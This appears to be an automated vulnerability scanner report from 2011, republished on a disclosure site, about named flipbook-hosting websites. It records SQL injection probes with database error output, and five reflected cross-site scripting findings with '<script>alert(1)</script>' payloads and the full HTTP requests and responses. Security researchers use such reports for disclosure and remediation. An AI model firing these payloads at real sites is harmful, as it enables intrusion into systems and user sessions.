XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 10242011-01

Report generated by XSS.CX at Sun Oct 23 20:07:53 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. SQL injection

1.1. http://scripts.flipdocs.com/scripts/gethostdomain.aspx [ID parameter]

1.2. http://www.flipbookserver.com/scripts/getthumb.aspx [ID parameter]

2. Cross-site scripting (reflected)

2.1. http://www.flip100.net/fileupload/uploadfile.asp [AID parameter]

2.2. http://www.flip100.net/fileupload/uploadfile.asp [D parameter]

2.3. http://www.flip100.net/fileupload/uploadfile.asp [EMAILID parameter]

2.4. http://www.flip100.net/scripts/browserdetect.asp [AID parameter]

2.5. http://www.flip100.net/scripts/browserdetect.asp [D parameter]

3. Cross-domain Referer leakage

3.1. http://www.flipbookserver.com/scripts/getthumb.aspx

3.2. http://www.flipbookserver.com/scripts/getthumb.aspx

3.3. http://www.flipbookserver.com/scripts/getthumb.aspx

3.4. http://www.flipbookserver.com/scripts/getthumb.aspx

4. File upload functionality

5. HTML does not specify charset

5.1. http://scripts.flipdocs.com/scripts/bookimages.asp

5.2. http://www.flip100.net/scripts/convert110130.asp

6. Content type incorrectly stated

6.1. http://scripts.flipdocs.com/scripts/bookimages.asp

6.2. http://scripts.flipdocs.com/scripts/gethostdomain.aspx



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://scripts.flipdocs.com/scripts/gethostdomain.aspx [ID parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://scripts.flipdocs.com
Path:   /scripts/gethostdomain.aspx

Issue detail

The ID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ID parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /scripts/gethostdomain.aspx?ID=10003141_341139'&RAND=56782 HTTP/1.1
Host: scripts.flipdocs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipbookserver.com/flash/looploader.swf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=3D6FECC641E06D75787647AC1F3C2D8E

Response 1

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Mon, 24 Oct 2011 00:42:00 GMT
Connection: close
X-Powered-By: ASP.NET
Content-Length: 8040

<html>
<head>
<title>ERROR [42000] [MySQL][ODBC 3.51 Driver][mysqld-5.0.45-community]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''10003141_341139''' at line 1</title>
...[SNIP]...

Request 2

GET /scripts/gethostdomain.aspx?ID=10003141_341139''&RAND=56782 HTTP/1.1
Host: scripts.flipdocs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipbookserver.com/flash/looploader.swf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=3D6FECC641E06D75787647AC1F3C2D8E

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:42:00 GMT
Content-Length: 27

mHost=http://&mVarsLoaded=1

1.2. http://www.flipbookserver.com/scripts/getthumb.aspx [ID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flipbookserver.com
Path:   /scripts/getthumb.aspx

Issue detail

The ID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ID parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /scripts/getthumb.aspx?ID=10000043_452238' HTTP/1.1
Host: www.flipbookserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipdocs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=B04F53D4C457AFDD0848259A8DB989AC

Response 1

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Mon, 24 Oct 2011 00:50:33 GMT
Connection: close
X-Powered-By: ASP.NET
Content-Length: 8025

<html>
<head>
<title>ERROR [42000] [MySQL][ODBC 3.51 Driver][mysqld-5.0.45-community]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''10000043_452238''' at line 1</title>
...[SNIP]...

Request 2

GET /scripts/getthumb.aspx?ID=10000043_452238'' HTTP/1.1
Host: www.flipbookserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipdocs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=B04F53D4C457AFDD0848259A8DB989AC

Response 2

HTTP/1.1 302 Found
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Mon, 24 Oct 2011 00:50:33 GMT
Location: http://www.flipbookserver.com/images/noeditionfound.jpg
X-Powered-By: ASP.NET
Content-Length: 172

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://www.flipbookserver.com/images/noeditionfound.jpg">here</a>.</h2>
</body></html>

2. Cross-site scripting (reflected)  previous  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.flip100.net/fileupload/uploadfile.asp [AID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flip100.net
Path:   /fileupload/uploadfile.asp

Issue detail

The value of the AID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa481"><script>alert(1)</script>b6324dc0b10 was submitted in the AID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fileupload/uploadfile.asp?D=flipdocs.com&AID=aa481"><script>alert(1)</script>b6324dc0b10&ACCID=&EMAILID= HTTP/1.1
Host: www.flip100.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.flipdocs.com/create-a-flipbook.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAAAAQDTS=GPIHEFCCOJJGHHCNHJCMACHF

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 24 Oct 2011 00:50:45 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 10373


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...
<input type=hidden id="FLIPAFFID" name="FLIPAFFID" value="aa481"><script>alert(1)</script>b6324dc0b10">
...[SNIP]...

2.2. http://www.flip100.net/fileupload/uploadfile.asp [D parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flip100.net
Path:   /fileupload/uploadfile.asp

Issue detail

The value of the D request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25b89"><script>alert(1)</script>34c7ebb894a was submitted in the D parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fileupload/uploadfile.asp?D=flipdocs.com25b89"><script>alert(1)</script>34c7ebb894a&AID=&ACCID=&EMAILID= HTTP/1.1
Host: www.flip100.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.flipdocs.com/create-a-flipbook.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAAAAQDTS=GPIHEFCCOJJGHHCNHJCMACHF

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 24 Oct 2011 00:50:44 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 10373


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...
<input type=hidden id="DOMAIN" name="DOMAIN" value="flipdocs.com25b89"><script>alert(1)</script>34c7ebb894a">
...[SNIP]...

2.3. http://www.flip100.net/fileupload/uploadfile.asp [EMAILID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flip100.net
Path:   /fileupload/uploadfile.asp

Issue detail

The value of the EMAILID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a386"><script>alert(1)</script>af21042e3ad was submitted in the EMAILID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fileupload/uploadfile.asp?D=flipdocs.com&AID=&ACCID=&EMAILID=2a386"><script>alert(1)</script>af21042e3ad HTTP/1.1
Host: www.flip100.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.flipdocs.com/create-a-flipbook.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAAAAQDTS=GPIHEFCCOJJGHHCNHJCMACHF

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 24 Oct 2011 00:50:46 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 10140


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...
<input type=hidden id="EMAIL" name="EMAIL" value="2a386"><script>alert(1)</script>af21042e3ad">
...[SNIP]...

2.4. http://www.flip100.net/scripts/browserdetect.asp [AID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flip100.net
Path:   /scripts/browserdetect.asp

Issue detail

The value of the AID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7e18"><script>alert(1)</script>29af6095d92 was submitted in the AID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /scripts/browserdetect.asp?D=flipdocs.com&AID=a7e18"><script>alert(1)</script>29af6095d92 HTTP/1.1
Host: www.flip100.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.flipdocs.com/create-a-flipbook.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 24 Oct 2011 00:51:06 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 10373


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...
<input type=hidden id="FLIPAFFID" name="FLIPAFFID" value="a7e18"><script>alert(1)</script>29af6095d92">
...[SNIP]...

2.5. http://www.flip100.net/scripts/browserdetect.asp [D parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flip100.net
Path:   /scripts/browserdetect.asp

Issue detail

The value of the D request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c32c3"><script>alert(1)</script>78c27568d00 was submitted in the D parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /scripts/browserdetect.asp?D=flipdocs.comc32c3"><script>alert(1)</script>78c27568d00&AID= HTTP/1.1
Host: www.flip100.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.flipdocs.com/create-a-flipbook.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 24 Oct 2011 00:50:55 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 10373


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...
<input type=hidden id="DOMAIN" name="DOMAIN" value="flipdocs.comc32c3"><script>alert(1)</script>78c27568d00">
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 4 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.flipbookserver.com/scripts/getthumb.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.flipbookserver.com
Path:   /scripts/getthumb.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /scripts/getthumb.aspx?ID=10000043_972783 HTTP/1.1
Host: www.flipbookserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipdocs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=B04F53D4C457AFDD0848259A8DB989AC

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: http://view.flipdocs.com/Books/10000043/972783/th_page1.jpg
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:50:23 GMT
Content-Length: 176

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://view.flipdocs.com/Books/10000043/972783/th_page1.jpg">here</a>.</h2>
</body></html>

3.2. http://www.flipbookserver.com/scripts/getthumb.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.flipbookserver.com
Path:   /scripts/getthumb.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /scripts/getthumb.aspx?ID=10000043_452238 HTTP/1.1
Host: www.flipbookserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipdocs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=B04F53D4C457AFDD0848259A8DB989AC

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: http://view.flipdocs.com/Books/10000043/452238/th_page1.jpg
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:50:24 GMT
Content-Length: 176

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://view.flipdocs.com/Books/10000043/452238/th_page1.jpg">here</a>.</h2>
</body></html>

3.3. http://www.flipbookserver.com/scripts/getthumb.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.flipbookserver.com
Path:   /scripts/getthumb.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /scripts/getthumb.aspx?ID=10000043_299694 HTTP/1.1
Host: www.flipbookserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipdocs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=B04F53D4C457AFDD0848259A8DB989AC

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: http://view.flipdocs.com/Books/10000043/299694/th_page1.jpg
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:50:23 GMT
Content-Length: 176

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://view.flipdocs.com/Books/10000043/299694/th_page1.jpg">here</a>.</h2>
</body></html>

3.4. http://www.flipbookserver.com/scripts/getthumb.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.flipbookserver.com
Path:   /scripts/getthumb.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /scripts/getthumb.aspx?ID=10000043_135338 HTTP/1.1
Host: www.flipbookserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipdocs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=B04F53D4C457AFDD0848259A8DB989AC

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: http://view.flipdocs.com/Books/10000043/135338/th_page1.jpg
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:50:23 GMT
Content-Length: 176

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://view.flipdocs.com/Books/10000043/135338/th_page1.jpg">here</a>.</h2>
</body></html>

4. File upload functionality  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.flip100.net
Path:   /fileupload/uploadfile.asp

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Issue background

File upload functionality is commonly associated with a number of vulnerabilities, including:You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.

Some factors to consider when evaluating the security impact of this functionality include:

Issue remediation

File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:

Request

GET /fileupload/uploadfile.asp?D=flipdocs.com&AID=&ACCID=&EMAILID= HTTP/1.1
Host: www.flip100.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.flipdocs.com/create-a-flipbook.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAAAAQDTS=GPIHEFCCOJJGHHCNHJCMACHF

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 24 Oct 2011 00:50:38 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 10330


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...
<div id="solmetraUploaderPlaceholder_eb573a336a9022d75aa275facf3d4454">
<input type="file" name="FNAME" />
</div>
...[SNIP]...

5. HTML does not specify charset  previous  next
There are 2 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


5.1. http://scripts.flipdocs.com/scripts/bookimages.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://scripts.flipdocs.com
Path:   /scripts/bookimages.asp

Request

GET /scripts/bookimages.asp?ID=10003141_341139&RAND=39708 HTTP/1.1
Host: scripts.flipdocs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.flipbookserver.com/flash/looploader.swf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jogalneg=3D6FECC641E06D75787647AC1F3C2D8E

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Mon, 24 Oct 2011 00:41:41 GMT
Content-Length: 4153


   <FlippingBook>
   <width>1152</width>
   <height>720</height>
   <totalpages>26</totalpages>    
   <pages><page>http://www.flipbookserver.com/Books/10003141/341139/page_0001.swf</page><page>http://www.flipbo
...[SNIP]...

5.2. http://www.flip100.net/scripts/convert110130.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.flip100.net
Path:   /scripts/convert110130.asp

Request

POST /scripts/convert110130.asp HTTP/1.1
Host: www.flip100.net
Proxy-Connection: keep-alive
Content-Length: 1232
Cache-Control: max-age=0
Origin: http://www.flip100.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPowCInKuzvF5ocRW
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.flip100.net/fileupload/uploadfile.asp?D=flipdocs.com&AID=&ACCID=&EMAILID=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAAAAQDTS=GPIHEFCCOJJGHHCNHJCMACHF

------WebKitFormBoundaryPowCInKuzvF5ocRW
Content-Disposition: form-data; name="AFF_ID"

FLIPDOCS
------WebKitFormBoundaryPowCInKuzvF5ocRW
Content-Disposition: form-data; name="FLIPAFFID"


---
...[SNIP]...

Response

